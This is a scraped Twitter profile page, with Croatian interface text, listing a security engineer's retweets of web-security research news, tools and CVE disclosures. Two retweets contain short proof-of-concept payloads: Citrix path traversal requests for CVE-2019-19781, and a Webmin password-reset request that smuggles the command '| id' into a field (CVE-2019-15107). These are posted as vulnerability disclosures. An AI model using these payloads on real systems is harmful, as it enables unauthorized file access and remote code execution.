Semyon Rozhkov

@sam_in_cube

Security engineer at

World
samincube.com
Vrijeme pridruživanja: rujan 2010.
49 fotografija ili videozapisa Fotografije i videozapisi

Tweetovi

Blokirali ste korisnika/cu @sam_in_cube

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @sam_in_cube

  1. proslijedio/la je Tweet
    8. sij

    CVE-2019-19781 Citrix path traversal base on vpns folder Example: GET /vpn/../vpns/services.html GET /vpn/../vpns/cfg/smb.conf patch >> HTTP/1.1 403 Forbidden no patch >> HTTP/1.1 200 OK [global] encrypt passwords = yes name resolve order = lmhosts wins host bcast

    10 replies 230 proslijeđenih tweetova 526 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  2. proslijedio/la je Tweet
    12. pro 2019.

    We're looking to hire a web vulnerability researcher to join and I on the research team, and share their knowledge with the community via

    10 replies 95 proslijeđenih tweetova 260 korisnika označava da im se sviđa
    Poništi
  3. proslijedio/la je Tweet
    24. ruj 2018.

    I finally wrote a small tool I've wanted for a long time: A parallel testcase minimizer. It's called halfempty, and I'm already finding it useful as part of my fuzzing workflow. /cc

    428 proslijeđenih tweetova 1.263 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  4. proslijedio/la je Tweet
    28. lis 2019.

    WebKit: Universal XSS in HTMLFrameElementBase::isURLAllowed

    52 proslijeđena tweeta 158 korisnika označava da im se sviđa
    Poništi
  5. proslijedio/la je Tweet
    24. lis 2019.

    You can now exec Python/JS in Hackvertor! - <("output = input.toUpperCase()","6dcc747e16b8c4e561617b2717c24f45")><@/javascript_0> load a file: <("/mypath/test.py","6dcc747e16b8c4e561617b2717c24f45")><@/python_1> The hash identifies the tag was added by you

    Updated: Hackvertor
    20 proslijeđenih tweetova 52 korisnika označavaju da im se sviđa
    Poništi
  6. proslijedio/la je Tweet
    16. lis 2019.

    Looks like the HTTP Request Smuggling vulnerability in Golang had an interesting knock-on impact for Kubernetes

    91 proslijeđeni tweet 251 korisnik označava da mu se sviđa
    Poništi
  7. proslijedio/la je Tweet
    7. lis 2019.

    Got ideas for achievements that can be unlocked via participation in Google's VRPs? Submit your ideas here:

    15 proslijeđenih tweetova 53 korisnika označavaju da im se sviđa
    Poništi
  8. proslijedio/la je Tweet
    5. lis 2019.

    I learned this week how I can perform an error-based without using any ! It takes advantage of *alternative text* when an object cannot be rendered and then styling it with a *custom font*. My full payload to the chall:

    101 proslijeđeni tweet 331 korisnik označava da mu se sviđa
    Poništi
  9. proslijedio/la je Tweet
    26. ruj 2019.

    We are proud to launch our brand new interactive XSS cheatsheet featuring novel vectors from

    13 replies 753 proslijeđena tweeta 1.521 korisnik označava da mu se sviđa
    Poništi
  10. proslijedio/la je Tweet
    15. ruj 2019.

    lastpass: bypassing do_popupregister() leaks credentials from previous site

    10 replies 363 proslijeđena tweeta 732 korisnika označavaju da im se sviđa
    Poništi
  11. proslijedio/la je Tweet
    15. ruj 2019.

    LastPass could leak the last used credentials due to a cache not being updated. This was because you can bypass the tab credential cache being populated by including the login form in an unexpected way!

    lastpass: bypassing do_popupregister() leaks credentials from previous site
    445 proslijeđenih tweetova 902 korisnika označavaju da im se sviđa
    Poništi
  12. proslijedio/la je Tweet
    6. ruj 2019.

    Scientist: hey you're back early Diver: ocean's haunted Scientist: what? Diver: *loading a pistol and getting back in the submarine* ocean's haunted

    oh god oh fuck
    Prikaži ovu nit
    318 replies 19.960 proslijeđenih tweetova 57.977 korisnika označava da im se sviđa
    Poništi
  13. proslijedio/la je Tweet
    17. kol 2019.

    "Webmin 0day remote code execution" Tl;Dr: Lack of input validation in the reset password function allows RCE (CVE-2019-15107). Over 13 0000 vulnerable on Shodan. PoC: /password_reset.cgi user=root&pam&expired&old=wrong | id

    9 replies 462 proslijeđena tweeta 863 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  14. proslijedio/la je Tweet
    13. kol 2019.

    Here's a video of the exploit I wrote, I actually had to write a custom rudimentary scripting language 😂

    13 replies 140 proslijeđenih tweetova 431 korisnik označava da mu se sviđa
    Poništi
  15. proslijedio/la je Tweet
    13. kol 2019.

    🔥 Breaking researcher discloses 20-year-old 'unpatched' vulnerabilities affecting all versions of Windows—from XP to the latest Windows 10. Details ➤ It could allow attackers to gain SYSTEM privileges on a targeted PC.

    11 replies 412 proslijeđenih tweetova 501 korisnik označava da mu se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  16. proslijedio/la je Tweet
    12. kol 2019.

    hold on a mi-

    90 replies 92 proslijeđena tweeta 896 korisnika označava da im se sviđa
    Poništi
  17. proslijedio/la je Tweet
    8. kol 2019.

    Let’s fuzz the world together! Join us with and at August 22nd, 5pm, San Francisco

    3 proslijeđena tweeta 6 korisnika označava da im se sviđa
    Poništi
  18. proslijedio/la je Tweet
    7. kol 2019.

    HTTP Desync Attacks: Request Smuggling Reborn

    14 replies 629 proslijeđenih tweetova 1.224 korisnika označavaju da im se sviđa
    Poništi
  19. proslijedio/la je Tweet
    4. kol 2019.

    One of the stranger bugs I found last year while developing Param Miner

    43 proslijeđena tweeta 196 korisnika označava da im se sviđa
    Poništi
  20. proslijedio/la je Tweet
    30. srp 2019.

    "Passive income" opportunity for security researchers: submit your fuzzers to the Chrome Fuzzer Program and receive rewards for vulnerabilities found (with an extra $1K bonus for each vuln). teaches how to do it successfully

    18 proslijeđenih tweetova 55 korisnika označava da im se sviđa
    Poništi

@sam_in_cube još nije objavio nijedan Tweet.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·